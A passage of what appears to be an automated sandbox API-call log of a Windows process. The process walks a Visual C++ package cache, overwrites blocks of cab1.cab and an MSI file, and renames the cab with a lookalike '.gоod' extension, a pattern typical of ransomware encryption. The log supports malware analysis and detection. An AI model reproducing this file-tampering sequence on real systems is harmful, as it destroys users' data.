(dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0096.457] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0096.457] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59d5d0) returned 1 [0096.457] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", nBufferLength=0x105, lpBuffer=0x1f59d070, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages", lpFilePart=0x0) returned 0x57 [0096.457] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x1f59d2f0 | out: lpFindFileData=0x1f59d2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec83f50 [0096.457] FindNextFileW (in: hFindFile=0x1ec83f50, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.457] FindNextFileW (in: hFindFile=0x1ec83f50, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0096.457] FindNextFileW (in: hFindFile=0x1ec83f50, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.457] FindClose (in: hFindFile=0x1ec83f50 | out: hFindFile=0x1ec83f50) returned 1 [0096.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d510) returned 1 [0096.458] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59d4d0) returned 1 [0096.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0096.458] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0096.458] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec84010 [0096.458] FindNextFileW (in: hFindFile=0x1ec84010, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.459] FindNextFileW (in: hFindFile=0x1ec84010, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0096.459] FindNextFileW (in: hFindFile=0x1ec84010, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0096.459] FindNextFileW (in: hFindFile=0x1ec84010, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0096.459] FindClose (in: hFindFile=0x1ec84010 | out: hFindFile=0x1ec84010) returned 1 [0096.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0096.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0096.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59cba0) returned 1 [0096.459] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", nBufferLength=0x105, lpBuffer=0x1f59c640, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64", lpFilePart=0x0) returned 0x6e [0096.459] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x1f59c8c0 | out: lpFindFileData=0x1f59c8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec836b0 [0096.459] FindNextFileW (in: hFindFile=0x1ec836b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0096.460] FindNextFileW (in: hFindFile=0x1ec836b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0096.460] FindNextFileW (in: hFindFile=0x1ec836b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0096.460] FindNextFileW (in: hFindFile=0x1ec836b0, lpFindFileData=0x1f59c880 | out: lpFindFileData=0x1f59c880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0096.460] FindClose (in: hFindFile=0x1ec836b0 | out: hFindFile=0x1ec836b0) returned 1 [0096.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59cae0) returned 1 [0096.460] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59caa0) returned 1 [0096.460] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0096.460] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0096.460] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x36f1528 | out: lpFileInformation=0x36f1528*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xa4bd6800, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0xc5b25)) returned 1 [0096.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0096.461] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0096.461] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.461] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.461] GetFileType (hFile=0x7b0) returned 0x1 [0096.461] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.461] GetFileType (hFile=0x7b0) returned 0x1 [0096.461] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0096.461] ReadFile (in: hFile=0x7b0, lpBuffer=0x36f19f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x36f19f0*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0096.463] CloseHandle (hObject=0x7b0) returned 1 [0096.463] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0096.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.463] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.463] GetFileType (hFile=0x7b0) returned 0x1 [0096.463] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.463] GetFileType (hFile=0x7b0) returned 0x1 [0096.463] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0xc5b25 [0096.463] WriteFile (in: hFile=0x7b0, lpBuffer=0x36f2d10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59c898, lpOverlapped=0x0 | out: lpBuffer=0x36f2d10*, lpNumberOfBytesWritten=0x1f59c898*=0x10, lpOverlapped=0x0) returned 1 [0096.465] CloseHandle (hObject=0x7b0) returned 1 [0096.465] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0096.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.465] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.465] GetFileType (hFile=0x7b0) returned 0x1 [0096.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.465] GetFileType (hFile=0x7b0) returned 0x1 [0096.465] ReadFile (in: hFile=0x7b0, lpBuffer=0x36f5058, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c928, lpOverlapped=0x0 | out: lpBuffer=0x36f5058*, lpNumberOfBytesRead=0x1f59c928*=0x1000, lpOverlapped=0x0) returned 1 [0096.540] CloseHandle (hObject=0x7b0) returned 1 [0096.540] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0096.540] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.540] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.540] GetFileType (hFile=0x7b0) returned 0x1 [0096.540] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.540] GetFileType (hFile=0x7b0) returned 0x1 [0096.540] WriteFile (in: hFile=0x7b0, lpBuffer=0x3572fd8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59c9d8, lpOverlapped=0x0 | out: lpBuffer=0x3572fd8*, lpNumberOfBytesWritten=0x1f59c9d8*=0x1010, lpOverlapped=0x0) returned 1 [0096.540] CloseHandle (hObject=0x7b0) returned 1 [0096.541] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab", lpFilePart=0x0) returned 0x77 [0096.541] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod", lpFilePart=0x0) returned 0x7c [0096.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c910) returned 1 [0096.541] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), fInfoLevelId=0x0, lpFileInformation=0x1f59c9f0 | out: lpFileInformation=0x1f59c9f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bd6800, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xa4bd6800, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x35c20fa9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xc5b35)) returned 1 [0096.541] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c8d0) returned 1 [0096.541] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.gоod" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab.gоod")) returned 1 [0096.542] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c480, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0096.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c950) returned 1 [0096.542] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0x35b3fb8 | out: lpFileInformation=0x35b3fb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x683e3c00, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x683e3c00, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x683e3c00, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000)) returned 1 [0096.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c910) returned 1 [0096.542] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0096.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.542] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.543] GetFileType (hFile=0x7b0) returned 0x1 [0096.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.543] GetFileType (hFile=0x7b0) returned 0x1 [0096.543] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x1000 [0096.543] ReadFile (in: hFile=0x7b0, lpBuffer=0x35b4510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59c978, lpOverlapped=0x0 | out: lpBuffer=0x35b4510*, lpNumberOfBytesRead=0x1f59c978*=0x1000, lpOverlapped=0x0) returned 1 [0096.937] CloseHandle (hObject=0x7b0) returned 1 [0096.937] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", nBufferLength=0x105, lpBuffer=0x1f59c330, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi", lpFilePart=0x0) returned 0x88 [0096.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59c850) returned 1 [0096.937] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0096.937] GetFileType (hFile=0x7b0) returned 0x1 [0096.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59c7c0) returned 1 [0096.937] GetFileType (hFile=0x7b0) returned 0x1 [0096.937] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59c9a8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59c9a8*=0) returned 0x25000 [0096.937] WriteFile (in: hFile=0x7b0, lpBuffer=0x37f6ad0*, nNumberOfBytesToWrite=0x10, 